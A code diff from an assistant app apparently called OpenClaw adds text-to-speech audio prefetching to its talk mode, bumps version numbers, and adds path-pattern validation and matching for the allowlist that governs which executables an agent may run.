var gatewayTalkDefaultModelId: String?
var gatewayTalkDefaultVoiceId: String?
private enum CaptureMode {
case idle
@@ -87,6 +91,8 @@ final class TalkModeManager: NSObject {
private var incrementalSpeechBuffer = IncrementalSpeechBuffer()
private var incrementalSpeechContext: IncrementalSpeechContext?
private var incrementalSpeechDirective: TalkDirective?
private var incrementalSpeechPrefetch: IncrementalSpeechPrefetchState?
private var incrementalSpeechPrefetchMonitorTask: Task<Void, Never>?
private let logger = Logger(subsystem: "bot.molt", category: "TalkMode")
@@ -547,6 +553,16 @@ final class TalkModeManager: NSObject {
guard let self else { return }
if let error {
let msg = error.localizedDescription
let lowered = msg.lowercased()
let isCancellation = lowered.contains("cancelled") || lowered.contains("canceled")
if isCancellation {
GatewayDiagnostics.log("talk speech: cancelled")
if self.captureMode == .continuous, self.isEnabled, !self.isSpeaking {
self.statusText = "Listening"
}
self.logger.debug("speech recognition cancelled")
return
}
GatewayDiagnostics.log("talk speech: error=\(msg)")
if !self.isSpeaking {
if msg.localizedCaseInsensitiveContains("no speech detected") {
@@ -1173,6 +1189,7 @@ final class TalkModeManager: NSObject {
self.incrementalSpeechQueue.removeAll()
self.incrementalSpeechTask?.cancel()
self.incrementalSpeechTask = nil
self.cancelIncrementalPrefetch()
self.incrementalSpeechActive = true
self.incrementalSpeechUsed = false
self.incrementalSpeechLanguage = nil
@@ -1185,6 +1202,7 @@ final class TalkModeManager: NSObject {
self.incrementalSpeechQueue.removeAll()
self.incrementalSpeechTask?.cancel()
self.incrementalSpeechTask = nil
self.cancelIncrementalPrefetch()
self.incrementalSpeechActive = false
self.incrementalSpeechContext = nil
self.incrementalSpeechDirective = nil
@@ -1212,20 +1230,168 @@ final class TalkModeManager: NSObject {
self.incrementalSpeechTask = Task { @MainActor [weak self] in
guard let self else { return }
defer {
self.cancelIncrementalPrefetch()
self.isSpeaking = false
self.stopRecognition()
self.incrementalSpeechTask = nil
}
while !Task.isCancelled {
guard !self.incrementalSpeechQueue.isEmpty else { break }
let segment = self.incrementalSpeechQueue.removeFirst()
self.statusText = "Speaking…"
self.isSpeaking = true
self.lastSpokenText = segment
await self.speakIncrementalSegment(segment)
await self.updateIncrementalContextIfNeeded()
let context = self.incrementalSpeechContext
let prefetchedAudio = await self.consumeIncrementalPrefetchedAudioIfAvailable(
for: segment,
context: context)
if let context {
self.startIncrementalPrefetchMonitor(context: context)
}
await self.speakIncrementalSegment(
segment,
context: context,
prefetchedAudio: prefetchedAudio)
self.cancelIncrementalPrefetchMonitor()
}
self.isSpeaking = false
self.stopRecognition()
self.incrementalSpeechTask = nil
}
}
private func cancelIncrementalPrefetch() {
self.cancelIncrementalPrefetchMonitor()
self.incrementalSpeechPrefetch?.task.cancel()
self.incrementalSpeechPrefetch = nil
}
private func cancelIncrementalPrefetchMonitor() {
self.incrementalSpeechPrefetchMonitorTask?.cancel()
self.incrementalSpeechPrefetchMonitorTask = nil
}
private func startIncrementalPrefetchMonitor(context: IncrementalSpeechContext) {
self.cancelIncrementalPrefetchMonitor()
self.incrementalSpeechPrefetchMonitorTask = Task { @MainActor [weak self] in
guard let self else { return }
while !Task.isCancelled {
if self.ensureIncrementalPrefetchForUpcomingSegment(context: context) {
return
}
try? await Task.sleep(nanoseconds: 40_000_000)
}
}
}
private func ensureIncrementalPrefetchForUpcomingSegment(context: IncrementalSpeechContext) -> Bool {
guard context.canUseElevenLabs else {
self.cancelIncrementalPrefetch()
return false
}
guard let nextSegment = self.incrementalSpeechQueue.first else { return false }
if let existing = self.incrementalSpeechPrefetch {
if existing.segment == nextSegment, existing.context == context {
return true
}
existing.task.cancel()
self.incrementalSpeechPrefetch = nil
}
self.startIncrementalPrefetch(segment: nextSegment, context: context)
return self.incrementalSpeechPrefetch != nil
}
private func startIncrementalPrefetch(segment: String, context: IncrementalSpeechContext) {
guard context.canUseElevenLabs, let apiKey = context.apiKey, let voiceId = context.voiceId else { return }
let prefetchOutputFormat = self.resolveIncrementalPrefetchOutputFormat(context: context)
let request = self.makeIncrementalTTSRequest(
text: segment,
context: context,
outputFormat: prefetchOutputFormat)
let id = UUID()
let task = Task { [weak self] in
let stream = ElevenLabsTTSClient(apiKey: apiKey).streamSynthesize(voiceId: voiceId, request: request)
var chunks: [Data] = []
do {
for try await chunk in stream {
try Task.checkCancellation()
chunks.append(chunk)
}
await self?.completeIncrementalPrefetch(id: id, chunks: chunks)
} catch is CancellationError {
await self?.clearIncrementalPrefetch(id: id)
} catch {
await self?.failIncrementalPrefetch(id: id, error: error)
}
}
self.incrementalSpeechPrefetch = IncrementalSpeechPrefetchState(
id: id,
segment: segment,
context: context,
outputFormat: prefetchOutputFormat,
chunks: nil,
task: task)
}
private func completeIncrementalPrefetch(id: UUID, chunks: [Data]) {
guard var prefetch = self.incrementalSpeechPrefetch, prefetch.id == id else { return }
prefetch.chunks = chunks
self.incrementalSpeechPrefetch = prefetch
}
private func clearIncrementalPrefetch(id: UUID) {
guard let prefetch = self.incrementalSpeechPrefetch, prefetch.id == id else { return }
prefetch.task.cancel()
self.incrementalSpeechPrefetch = nil
}
private func failIncrementalPrefetch(id: UUID, error: any Error) {
guard let prefetch = self.incrementalSpeechPrefetch, prefetch.id == id else { return }
self.logger.debug("incremental prefetch failed: \(error.localizedDescription, privacy: .public)")
prefetch.task.cancel()
self.incrementalSpeechPrefetch = nil
}
private func consumeIncrementalPrefetchedAudioIfAvailable(
for segment: String,
context: IncrementalSpeechContext?
) async -> IncrementalPrefetchedAudio?
{
guard let context else {
self.cancelIncrementalPrefetch()
return nil
}
guard let prefetch = self.incrementalSpeechPrefetch else {
return nil
}
guard prefetch.context == context else {
prefetch.task.cancel()
self.incrementalSpeechPrefetch = nil
return nil
}
guard prefetch.segment == segment else {
return nil
}
if let chunks = prefetch.chunks, !chunks.isEmpty {
let prefetched = IncrementalPrefetchedAudio(chunks: chunks, outputFormat: prefetch.outputFormat)
self.incrementalSpeechPrefetch = nil
return prefetched
}
await prefetch.task.value
guard let completed = self.incrementalSpeechPrefetch else { return nil }
guard completed.context == context, completed.segment == segment else { return nil }
guard let chunks = completed.chunks, !chunks.isEmpty else { return nil }
let prefetched = IncrementalPrefetchedAudio(chunks: chunks, outputFormat: completed.outputFormat)
self.incrementalSpeechPrefetch = nil
return prefetched
}
private func resolveIncrementalPrefetchOutputFormat(context: IncrementalSpeechContext) -> String? {
if TalkTTSValidation.pcmSampleRate(from: context.outputFormat) != nil {
return ElevenLabsTTSClient.validatedOutputFormat("mp3_44100")
}
return context.outputFormat
}
private func finishIncrementalSpeech() async {
guard self.incrementalSpeechActive else { return }
let leftover = self.incrementalSpeechBuffer.flush()
@@ -1333,77 +1499,103 @@ final class TalkModeManager: NSObject {
canUseElevenLabs: canUseElevenLabs)
}
private func speakIncrementalSegment(_ text: String) async {
await self.updateIncrementalContextIfNeeded()
guard let context = self.incrementalSpeechContext else {
private func makeIncrementalTTSRequest(
text: String,
context: IncrementalSpeechContext,
outputFormat: String?
) -> ElevenLabsTTSRequest
{
ElevenLabsTTSRequest(
text: text,
modelId: context.modelId,
outputFormat: outputFormat,
speed: TalkTTSValidation.resolveSpeed(
speed: context.directive?.speed,
rateWPM: context.directive?.rateWPM),
stability: TalkTTSValidation.validatedStability(
context.directive?.stability,
modelId: context.modelId),
similarity: TalkTTSValidation.validatedUnit(context.directive?.similarity),
style: TalkTTSValidation.validatedUnit(context.directive?.style),
speakerBoost: context.directive?.speakerBoost,
seed: TalkTTSValidation.validatedSeed(context.directive?.seed),
normalize: ElevenLabsTTSClient.validatedNormalize(context.directive?.normalize),
language: context.language,
latencyTier: TalkTTSValidation.validatedLatencyTier(context.directive?.latencyTier))
}
private static func makeBufferedAudioStream(chunks: [Data]) -> AsyncThrowingStream<Data, Error> {
AsyncThrowingStream { continuation in
for chunk in chunks {
continuation.yield(chunk)
}
continuation.finish()
}
}
private func speakIncrementalSegment(
_ text: String,
context preferredContext: IncrementalSpeechContext? = nil,
prefetchedAudio: IncrementalPrefetchedAudio? = nil
) async
{
let context: IncrementalSpeechContext
if let preferredContext {
context = preferredContext
} else {
await self.updateIncrementalContextIfNeeded()
guard let resolvedContext = self.incrementalSpeechContext else {
try? await TalkSystemSpeechSynthesizer.shared.speak(
text: text,
language: self.incrementalSpeechLanguage)
return
}
context = resolvedContext
}
guard context.canUseElevenLabs, let apiKey = context.apiKey, let voiceId = context.voiceId else {
try? await TalkSystemSpeechSynthesizer.shared.speak(
text: text,
language: self.incrementalSpeechLanguage)
return
}
if context.canUseElevenLabs, let apiKey = context.apiKey, let voiceId = context.voiceId {
let request = ElevenLabsTTSRequest(
text: text,
modelId: context.modelId,
outputFormat: context.outputFormat,
speed: TalkTTSValidation.resolveSpeed(
speed: context.directive?.speed,
rateWPM: context.directive?.rateWPM),
stability: TalkTTSValidation.validatedStability(
context.directive?.stability,
modelId: context.modelId),
similarity: TalkTTSValidation.validatedUnit(context.directive?.similarity),
style: TalkTTSValidation.validatedUnit(context.directive?.style),
speakerBoost: context.directive?.speakerBoost,
seed: TalkTTSValidation.validatedSeed(context.directive?.seed),
normalize: ElevenLabsTTSClient.validatedNormalize(context.directive?.normalize),
language: context.language,
latencyTier: TalkTTSValidation.validatedLatencyTier(context.directive?.latencyTier))
let client = ElevenLabsTTSClient(apiKey: apiKey)
let stream = client.streamSynthesize(voiceId: voiceId, request: request)
let sampleRate = TalkTTSValidation.pcmSampleRate(from: context.outputFormat)
let result: StreamingPlaybackResult
if let sampleRate {
self.lastPlaybackWasPCM = true
var playback = await self.pcmPlayer.play(stream: stream, sampleRate: sampleRate)
if !playback.finished, playback.interruptedAt == nil {
self.logger.warning("pcm playback failed; retrying mp3")
self.lastPlaybackWasPCM = false
let mp3Format = ElevenLabsTTSClient.validatedOutputFormat("mp3_44100")
let mp3Stream = client.streamSynthesize(
voiceId: voiceId,
request: ElevenLabsTTSRequest(
text: text,
modelId: context.modelId,
outputFormat: mp3Format,
speed: TalkTTSValidation.resolveSpeed(
speed: context.directive?.speed,
rateWPM: context.directive?.rateWPM),
stability: TalkTTSValidation.validatedStability(
context.directive?.stability,
modelId: context.modelId),
similarity: TalkTTSValidation.validatedUnit(context.directive?.similarity),
style: TalkTTSValidation.validatedUnit(context.directive?.style),
speakerBoost: context.directive?.speakerBoost,
seed: TalkTTSValidation.validatedSeed(context.directive?.seed),
normalize: ElevenLabsTTSClient.validatedNormalize(context.directive?.normalize),
language: context.language,
latencyTier: TalkTTSValidation.validatedLatencyTier(context.directive?.latencyTier)))
playback = await self.mp3Player.play(stream: mp3Stream)
}
result = playback
} else {
self.lastPlaybackWasPCM = false
result = await self.mp3Player.play(stream: stream)
}
if !result.finished, let interruptedAt = result.interruptedAt {
self.lastInterruptedAtSeconds = interruptedAt
}
let client = ElevenLabsTTSClient(apiKey: apiKey)
let request = self.makeIncrementalTTSRequest(
text: text,
context: context,
outputFormat: context.outputFormat)
let stream: AsyncThrowingStream<Data, Error>
if let prefetchedAudio, !prefetchedAudio.chunks.isEmpty {
stream = Self.makeBufferedAudioStream(chunks: prefetchedAudio.chunks)
} else {
try? await TalkSystemSpeechSynthesizer.shared.speak(
text: text,
language: self.incrementalSpeechLanguage)
stream = client.streamSynthesize(voiceId: voiceId, request: request)
}
let playbackFormat = prefetchedAudio?.outputFormat ?? context.outputFormat
let sampleRate = TalkTTSValidation.pcmSampleRate(from: playbackFormat)
let result: StreamingPlaybackResult
if let sampleRate {
self.lastPlaybackWasPCM = true
var playback = await self.pcmPlayer.play(stream: stream, sampleRate: sampleRate)
if !playback.finished, playback.interruptedAt == nil {
self.logger.warning("pcm playback failed; retrying mp3")
self.lastPlaybackWasPCM = false
let mp3Format = ElevenLabsTTSClient.validatedOutputFormat("mp3_44100")
let mp3Stream = client.streamSynthesize(
voiceId: voiceId,
request: self.makeIncrementalTTSRequest(
text: text,
context: context,
outputFormat: mp3Format))
playback = await self.mp3Player.play(stream: mp3Stream)
}
result = playback
} else {
self.lastPlaybackWasPCM = false
result = await self.mp3Player.play(stream: stream)
}
if !result.finished, let interruptedAt = result.interruptedAt {
self.lastInterruptedAtSeconds = interruptedAt
}
}
@@ -1733,6 +1925,10 @@ extension TalkModeManager {
} else {
self.apiKey = (localApiKey?.isEmpty == false) ? localApiKey : configApiKey
}
self.gatewayTalkDefaultVoiceId = self.defaultVoiceId
self.gatewayTalkDefaultModelId = self.defaultModelId
self.gatewayTalkApiKeyConfigured = (self.apiKey?.isEmpty == false)
self.gatewayTalkConfigLoaded = true
if let interrupt = talk?["interruptOnSpeech"] as? Bool {
self.interruptOnSpeech = interrupt
}
@@ -1741,6 +1937,10 @@ extension TalkModeManager {
if !self.modelOverrideActive {
self.currentModelId = self.defaultModelId
}
self.gatewayTalkDefaultVoiceId = nil
self.gatewayTalkDefaultModelId = nil
self.gatewayTalkApiKeyConfigured = false
self.gatewayTalkConfigLoaded = false
}
}
@@ -1862,7 +2062,7 @@ extension TalkModeManager {
}
#endif
private struct IncrementalSpeechContext {
private struct IncrementalSpeechContext: Equatable {
let apiKey: String?
let voiceId: String?
let modelId: String?
@@ -1872,4 +2072,18 @@ private struct IncrementalSpeechContext {
let canUseElevenLabs: Bool
}
private struct IncrementalSpeechPrefetchState {
let id: UUID
let segment: String
let context: IncrementalSpeechContext
let outputFormat: String?
var chunks: [Data]?
let task: Task<Void, Never>
}
private struct IncrementalPrefetchedAudio {
let chunks: [Data]
let outputFormat: String?
}
// swiftlint:enable type_body_length

View File

@@ -17,7 +17,7 @@
<key>CFBundlePackageType</key>
<string>BNDL</string>
<key>CFBundleShortVersionString</key>
<string>2026.2.20</string>
<string>2026.2.21</string>
<key>CFBundleVersion</key>
<string>20260220</string>
</dict>

View File

@@ -17,7 +17,7 @@
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>2026.2.20</string>
<string>2026.2.21</string>
<key>CFBundleVersion</key>
<string>20260220</string>
<key>WKCompanionAppBundleIdentifier</key>

View File

@@ -15,7 +15,7 @@
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundleShortVersionString</key>
<string>2026.2.20</string>
<string>2026.2.21</string>
<key>CFBundleVersion</key>
<string>20260220</string>
<key>NSExtension</key>

View File

@@ -92,7 +92,7 @@ targets:
- CFBundleURLName: ai.openclaw.ios
CFBundleURLSchemes:
- openclaw
CFBundleShortVersionString: "2026.2.20"
CFBundleShortVersionString: "2026.2.21"
CFBundleVersion: "20260220"
UILaunchScreen: {}
UIApplicationSceneManifest:
@@ -146,7 +146,7 @@ targets:
path: ShareExtension/Info.plist
properties:
CFBundleDisplayName: OpenClaw Share
CFBundleShortVersionString: "2026.2.20"
CFBundleShortVersionString: "2026.2.21"
CFBundleVersion: "20260220"
NSExtension:
NSExtensionPointIdentifier: com.apple.share-services
@@ -176,7 +176,7 @@ targets:
path: WatchApp/Info.plist
properties:
CFBundleDisplayName: OpenClaw
CFBundleShortVersionString: "2026.2.20"
CFBundleShortVersionString: "2026.2.21"
CFBundleVersion: "20260220"
WKCompanionAppBundleIdentifier: "$(OPENCLAW_APP_BUNDLE_ID)"
WKWatchKitApp: true
@@ -200,7 +200,7 @@ targets:
path: WatchExtension/Info.plist
properties:
CFBundleDisplayName: OpenClaw
CFBundleShortVersionString: "2026.2.20"
CFBundleShortVersionString: "2026.2.21"
CFBundleVersion: "20260220"
NSExtension:
NSExtensionAttributes:
@@ -228,5 +228,5 @@ targets:
path: Tests/Info.plist
properties:
CFBundleDisplayName: OpenClawTests
CFBundleShortVersionString: "2026.2.20"
CFBundleShortVersionString: "2026.2.21"
CFBundleVersion: "20260220"

View File

@@ -480,8 +480,7 @@ final class AppState {
remote.removeValue(forKey: "url")
remoteChanged = true
}
} else {
let normalizedUrl = GatewayRemoteConfig.normalizeGatewayUrlString(trimmedUrl) ?? trimmedUrl
} else if let normalizedUrl = GatewayRemoteConfig.normalizeGatewayUrlString(trimmedUrl) {
if (remote["url"] as? String) != normalizedUrl {
remote["url"] = normalizedUrl
remoteChanged = true

View File

@@ -357,8 +357,8 @@ private final class PhotoCaptureDelegate: NSObject, AVCapturePhotoCaptureDelegat
func photoOutput(
_ output: AVCapturePhotoOutput,
didFinishProcessingPhoto photo: AVCapturePhoto,
error: Error?
) {
error: Error?)
{
guard !self.didResume, let cont else { return }
self.didResume = true
self.cont = nil
@@ -380,8 +380,8 @@ private final class PhotoCaptureDelegate: NSObject, AVCapturePhotoCaptureDelegat
func photoOutput(
_ output: AVCapturePhotoOutput,
didFinishCaptureFor resolvedSettings: AVCaptureResolvedPhotoSettings,
error: Error?
) {
error: Error?)
{
guard let error else { return }
guard !self.didResume, let cont else { return }
self.didResume = true

View File

@@ -16,8 +16,8 @@ final class CoalescingFSEventsWatcher: @unchecked Sendable {
queueLabel: String,
coalesceDelay: TimeInterval = 0.12,
shouldNotify: @escaping (Int, UnsafeMutableRawPointer?) -> Bool = { _, _ in true },
onChange: @escaping () -> Void
) {
onChange: @escaping () -> Void)
{
self.paths = paths
self.queue = DispatchQueue(label: queueLabel)
self.coalesceDelay = coalesceDelay
@@ -92,8 +92,8 @@ extension CoalescingFSEventsWatcher {
private func handleEvents(
numEvents: Int,
eventPaths: UnsafeMutableRawPointer?,
eventFlags: UnsafePointer<FSEventStreamEventFlags>?
) {
eventFlags: UnsafePointer<FSEventStreamEventFlags>?)
{
guard numEvents > 0 else { return }
guard eventFlags != nil else { return }
guard self.shouldNotify(numEvents, eventPaths) else { return }
@@ -108,4 +108,3 @@ extension CoalescingFSEventsWatcher {
}
}
}

View File

@@ -0,0 +1,79 @@
import Foundation
enum ExecAllowlistMatcher {
static func match(entries: [ExecAllowlistEntry], resolution: ExecCommandResolution?) -> ExecAllowlistEntry? {
guard let resolution, !entries.isEmpty else { return nil }
let rawExecutable = resolution.rawExecutable
let resolvedPath = resolution.resolvedPath
for entry in entries {
switch ExecApprovalHelpers.validateAllowlistPattern(entry.pattern) {
case .valid(let pattern):
let target = resolvedPath ?? rawExecutable
if self.matches(pattern: pattern, target: target) { return entry }
case .invalid:
continue
}
}
return nil
}
static func matchAll(
entries: [ExecAllowlistEntry],
resolutions: [ExecCommandResolution]) -> [ExecAllowlistEntry]
{
guard !entries.isEmpty, !resolutions.isEmpty else { return [] }
var matches: [ExecAllowlistEntry] = []
matches.reserveCapacity(resolutions.count)
for resolution in resolutions {
guard let match = self.match(entries: entries, resolution: resolution) else {
return []
}
matches.append(match)
}
return matches
}
private static func matches(pattern: String, target: String) -> Bool {
let trimmed = pattern.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return false }
let expanded = trimmed.hasPrefix("~") ? (trimmed as NSString).expandingTildeInPath : trimmed
let normalizedPattern = self.normalizeMatchTarget(expanded)
let normalizedTarget = self.normalizeMatchTarget(target)
guard let regex = self.regex(for: normalizedPattern) else { return false }
let range = NSRange(location: 0, length: normalizedTarget.utf16.count)
return regex.firstMatch(in: normalizedTarget, options: [], range: range) != nil
}
private static func normalizeMatchTarget(_ value: String) -> String {
value.replacingOccurrences(of: "\\\\", with: "/").lowercased()
}
private static func regex(for pattern: String) -> NSRegularExpression? {
var regex = "^"
var idx = pattern.startIndex
while idx < pattern.endIndex {
let ch = pattern[idx]
if ch == "*" {
let next = pattern.index(after: idx)
if next < pattern.endIndex, pattern[next] == "*" {
regex += ".*"
idx = pattern.index(after: next)
} else {
regex += "[^/]*"
idx = next
}
continue
}
if ch == "?" {
regex += "."
idx = pattern.index(after: idx)
continue
}
regex += NSRegularExpression.escapedPattern(for: String(ch))
idx = pattern.index(after: idx)
}
regex += "$"
return try? NSRegularExpression(pattern: regex, options: [.caseInsensitive])
}
}

View File

@@ -0,0 +1,67 @@
import Foundation
struct ExecApprovalEvaluation {
let command: [String]
let displayCommand: String
let agentId: String?
let security: ExecSecurity
let ask: ExecAsk
let env: [String: String]
let resolution: ExecCommandResolution?
let allowlistResolutions: [ExecCommandResolution]
let allowlistMatches: [ExecAllowlistEntry]
let allowlistSatisfied: Bool
let allowlistMatch: ExecAllowlistEntry?
let skillAllow: Bool
}
enum ExecApprovalEvaluator {
static func evaluate(
command: [String],
rawCommand: String?,
cwd: String?,
envOverrides: [String: String]?,
agentId: String?) async -> ExecApprovalEvaluation
{
let trimmedAgent = agentId?.trimmingCharacters(in: .whitespacesAndNewlines)
let normalizedAgentId = (trimmedAgent?.isEmpty == false) ? trimmedAgent : nil
let approvals = ExecApprovalsStore.resolve(agentId: normalizedAgentId)
let security = approvals.agent.security
let ask = approvals.agent.ask
let env = HostEnvSanitizer.sanitize(overrides: envOverrides)
let displayCommand = ExecCommandFormatter.displayString(for: command, rawCommand: rawCommand)
let allowlistResolutions = ExecCommandResolution.resolveForAllowlist(
command: command,
rawCommand: rawCommand,
cwd: cwd,
env: env)
let allowlistMatches = security == .allowlist
? ExecAllowlistMatcher.matchAll(entries: approvals.allowlist, resolutions: allowlistResolutions)
: []
let allowlistSatisfied = security == .allowlist &&
!allowlistResolutions.isEmpty &&
allowlistMatches.count == allowlistResolutions.count
let skillAllow: Bool
if approvals.agent.autoAllowSkills, !allowlistResolutions.isEmpty {
let bins = await SkillBinsCache.shared.currentBins()
skillAllow = allowlistResolutions.allSatisfy { bins.contains($0.executableName) }
} else {
skillAllow = false
}
return ExecApprovalEvaluation(
command: command,
displayCommand: displayCommand,
agentId: normalizedAgentId,
security: security,
ask: ask,
env: env,
resolution: allowlistResolutions.first,
allowlistResolutions: allowlistResolutions,
allowlistMatches: allowlistMatches,
allowlistSatisfied: allowlistSatisfied,
allowlistMatch: allowlistSatisfied ? allowlistMatches.first : nil,
skillAllow: skillAllow)
}
}

View File

@@ -90,6 +90,31 @@ enum ExecApprovalDecision: String, Codable, Sendable {
case deny
}
enum ExecAllowlistPatternValidationReason: String, Codable, Sendable, Equatable {
case empty
case missingPathComponent
var message: String {
switch self {
case .empty:
"Pattern cannot be empty."
case .missingPathComponent:
"Path patterns only. Include '/', '~', or '\\\\'."
}
}
}
enum ExecAllowlistPatternValidation: Sendable, Equatable {
case valid(String)
case invalid(ExecAllowlistPatternValidationReason)
}
struct ExecAllowlistRejectedEntry: Sendable, Equatable {
let id: UUID
let pattern: String
let reason: ExecAllowlistPatternValidationReason
}
struct ExecAllowlistEntry: Codable, Hashable, Identifiable {
var id: UUID
var pattern: String
@@ -222,13 +247,25 @@ enum ExecApprovalsStore {
}
agents.removeValue(forKey: "default")
}
if !agents.isEmpty {
var normalizedAgents: [String: ExecApprovalsAgent] = [:]
normalizedAgents.reserveCapacity(agents.count)
for (key, var agent) in agents {
if let allowlist = agent.allowlist {
let normalized = self.normalizeAllowlistEntries(allowlist, dropInvalid: false).entries
agent.allowlist = normalized.isEmpty ? nil : normalized
}
normalizedAgents[key] = agent
}
agents = normalizedAgents
}
return ExecApprovalsFile(
version: 1,
socket: ExecApprovalsSocketConfig(
path: socketPath.isEmpty ? nil : socketPath,
token: token.isEmpty ? nil : token),
defaults: file.defaults,
agents: agents)
agents: agents.isEmpty ? nil : agents)
}
static func readSnapshot() -> ExecApprovalsSnapshot {
@@ -306,7 +343,12 @@ enum ExecApprovalsStore {
}
static func ensureFile() -> ExecApprovalsFile {
var file = self.loadFile()
let url = self.fileURL()
let existed = FileManager().fileExists(atPath: url.path)
let loaded = self.loadFile()
let loadedHash = self.hashFile(loaded)
var file = self.normalizeIncoming(loaded)
if file.socket == nil { file.socket = ExecApprovalsSocketConfig(path: nil, token: nil) }
let path = file.socket?.path?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
if path.isEmpty {
@@ -317,7 +359,9 @@ enum ExecApprovalsStore {
file.socket?.token = self.generateToken()
}
if file.agents == nil { file.agents = [:] }
self.saveFile(file)
if !existed || loadedHash != self.hashFile(file) {
self.saveFile(file)
}
return file
}
@@ -339,16 +383,9 @@ enum ExecApprovalsStore {
?? resolvedDefaults.askFallback,
autoAllowSkills: agentEntry.autoAllowSkills ?? wildcardEntry.autoAllowSkills
?? resolvedDefaults.autoAllowSkills)
let allowlist = ((wildcardEntry.allowlist ?? []) + (agentEntry.allowlist ?? []))
.map { entry in
ExecAllowlistEntry(
id: entry.id,
pattern: entry.pattern.trimmingCharacters(in: .whitespacesAndNewlines),
lastUsedAt: entry.lastUsedAt,
lastUsedCommand: entry.lastUsedCommand,
lastResolvedPath: entry.lastResolvedPath)
}
.filter { !$0.pattern.isEmpty }
let allowlist = self.normalizeAllowlistEntries(
(wildcardEntry.allowlist ?? []) + (agentEntry.allowlist ?? []),
dropInvalid: true).entries
let socketPath = self.expandPath(file.socket?.path ?? self.socketPath())
let token = file.socket?.token ?? ""
return ExecApprovalsResolved(
@@ -398,20 +435,30 @@ enum ExecApprovalsStore {
}
}
static func addAllowlistEntry(agentId: String?, pattern: String) {
let trimmed = pattern.trimmingCharacters(in: .whitespacesAndNewlines)
guard !trimmed.isEmpty else { return }
@discardableResult
static func addAllowlistEntry(agentId: String?, pattern: String) -> ExecAllowlistPatternValidationReason? {
let normalizedPattern: String
switch ExecApprovalHelpers.validateAllowlistPattern(pattern) {
case .valid(let validPattern):
normalizedPattern = validPattern
case .invalid(let reason):
return reason
}
self.updateFile { file in
let key = self.agentKey(agentId)
var agents = file.agents ?? [:]
var entry = agents[key] ?? ExecApprovalsAgent()
var allowlist = entry.allowlist ?? []
if allowlist.contains(where: { $0.pattern == trimmed }) { return }
allowlist.append(ExecAllowlistEntry(pattern: trimmed, lastUsedAt: Date().timeIntervalSince1970 * 1000))
if allowlist.contains(where: { $0.pattern == normalizedPattern }) { return }
allowlist.append(ExecAllowlistEntry(
pattern: normalizedPattern,
lastUsedAt: Date().timeIntervalSince1970 * 1000))
entry.allowlist = allowlist
agents[key] = entry
file.agents = agents
}
return nil
}
static func recordAllowlistUse(
@@ -439,25 +486,21 @@ enum ExecApprovalsStore {
}
}
static func updateAllowlist(agentId: String?, allowlist: [ExecAllowlistEntry]) {
@discardableResult
static func updateAllowlist(agentId: String?, allowlist: [ExecAllowlistEntry]) -> [ExecAllowlistRejectedEntry] {
var rejected: [ExecAllowlistRejectedEntry] = []
self.updateFile { file in
let key = self.agentKey(agentId)
var agents = file.agents ?? [:]
var entry = agents[key] ?? ExecApprovalsAgent()
let cleaned = allowlist
.map { item in
ExecAllowlistEntry(
id: item.id,
pattern: item.pattern.trimmingCharacters(in: .whitespacesAndNewlines),
lastUsedAt: item.lastUsedAt,
lastUsedCommand: item.lastUsedCommand,
lastResolvedPath: item.lastResolvedPath)
}
.filter { !$0.pattern.isEmpty }
let normalized = self.normalizeAllowlistEntries(allowlist, dropInvalid: true)
rejected = normalized.rejected
let cleaned = normalized.entries
entry.allowlist = cleaned
agents[key] = entry
file.agents = agents
}
return rejected
}
static func updateAgentSettings(agentId: String?, mutate: (inout ExecApprovalsAgent) -> Void) {
@@ -500,6 +543,14 @@ enum ExecApprovalsStore {
return digest.map { String(format: "%02x", $0) }.joined()
}
private static func hashFile(_ file: ExecApprovalsFile) -> String {
let encoder = JSONEncoder()
encoder.outputFormatting = [.sortedKeys]
let data = (try? encoder.encode(file)) ?? Data()
let digest = SHA256.hash(data: data)
return digest.map { String(format: "%02x", $0) }.joined()
}
private static func expandPath(_ raw: String) -> String {
let trimmed = raw.trimmingCharacters(in: .whitespacesAndNewlines)
if trimmed == "~" {
@@ -519,14 +570,101 @@ enum ExecApprovalsStore {
}
private static func normalizedPattern(_ pattern: String?) -> String? {
let trimmed = pattern?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
return trimmed.isEmpty ? nil : trimmed.lowercased()
switch ExecApprovalHelpers.validateAllowlistPattern(pattern) {
case .valid(let normalized):
return normalized.lowercased()
case .invalid(.empty):
return nil
case .invalid:
let trimmed = pattern?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
return trimmed.isEmpty ? nil : trimmed.lowercased()
}
}
private static func migrateLegacyPattern(_ entry: ExecAllowlistEntry) -> ExecAllowlistEntry {
let trimmedPattern = entry.pattern.trimmingCharacters(in: .whitespacesAndNewlines)
let trimmedResolved = entry.lastResolvedPath?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
let normalizedResolved = trimmedResolved.isEmpty ? nil : trimmedResolved
switch ExecApprovalHelpers.validateAllowlistPattern(trimmedPattern) {
case .valid(let pattern):
return ExecAllowlistEntry(
id: entry.id,
pattern: pattern,
lastUsedAt: entry.lastUsedAt,
lastUsedCommand: entry.lastUsedCommand,
lastResolvedPath: normalizedResolved)
case .invalid:
switch ExecApprovalHelpers.validateAllowlistPattern(trimmedResolved) {
case .valid(let migratedPattern):
return ExecAllowlistEntry(
id: entry.id,
pattern: migratedPattern,
lastUsedAt: entry.lastUsedAt,
lastUsedCommand: entry.lastUsedCommand,
lastResolvedPath: normalizedResolved)
case .invalid:
return ExecAllowlistEntry(
id: entry.id,
pattern: trimmedPattern,
lastUsedAt: entry.lastUsedAt,
lastUsedCommand: entry.lastUsedCommand,
lastResolvedPath: normalizedResolved)
}
}
}
private static func normalizeAllowlistEntries(
_ entries: [ExecAllowlistEntry],
dropInvalid: Bool) -> (entries: [ExecAllowlistEntry], rejected: [ExecAllowlistRejectedEntry])
{
var normalized: [ExecAllowlistEntry] = []
normalized.reserveCapacity(entries.count)
var rejected: [ExecAllowlistRejectedEntry] = []
for entry in entries {
let migrated = self.migrateLegacyPattern(entry)
let trimmedPattern = migrated.pattern.trimmingCharacters(in: .whitespacesAndNewlines)
let trimmedResolvedPath = migrated.lastResolvedPath?.trimmingCharacters(in: .whitespacesAndNewlines) ?? ""
let normalizedResolvedPath = trimmedResolvedPath.isEmpty ? nil : trimmedResolvedPath
switch ExecApprovalHelpers.validateAllowlistPattern(trimmedPattern) {
case .valid(let pattern):
normalized.append(
